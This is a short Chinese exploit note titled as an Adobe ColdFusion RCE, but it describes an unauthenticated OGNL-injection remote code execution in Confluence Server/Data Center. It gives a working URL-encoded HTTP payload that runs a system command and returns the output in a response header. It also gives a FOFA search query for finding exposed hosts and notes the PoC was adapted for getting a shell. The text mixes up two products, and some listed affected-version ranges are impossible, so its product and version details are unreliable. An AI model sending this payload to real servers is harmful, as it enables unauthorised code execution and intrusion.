A2-4AdobeColdFusion-RCE

漏洞描述：

远程攻击者在未经身份验证的情况下，可构造OGNL表达式进行注入，实现在Confluence Server或Data Center上执行任意代码,修改poc，方便getshell。常见端口:8090

影响版本：

• Confluence Server and Data Center >= 1.3.0
• 7.14.0 <= Confluence Server and Data Center < 7.4.17
• 7.13.0 <= Confluence Server and Data Center < 7.13.7
• 7.14.0 <= Confluence Server and Data Center < 7.14.3
• 7.15.0 <= Confluence Server and Data Center < 7.15.2
• 7.16.0 <= Confluence Server and Data Center < 7.16.4
• 7.17.0 <= Confluence Server and Data Center < 7.17.4
• 7.18.0 <= Confluence Server and Data Center < 7.18.1

网站图片:

网络测绘:

fofa语法：

FOFA：app="Adobe-ColdFusion"  

漏洞复现:

页面抓包，构造Payload。

payload：

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

效果图:

修复建议:

确保你的 ColdFusion 版本是最新的，并应用所有安全补丁。Adobe 经常发布安全补丁来修复已知漏洞。

参考链接:

https://blog.csdn.net/weixin_48421613/article/details/125130838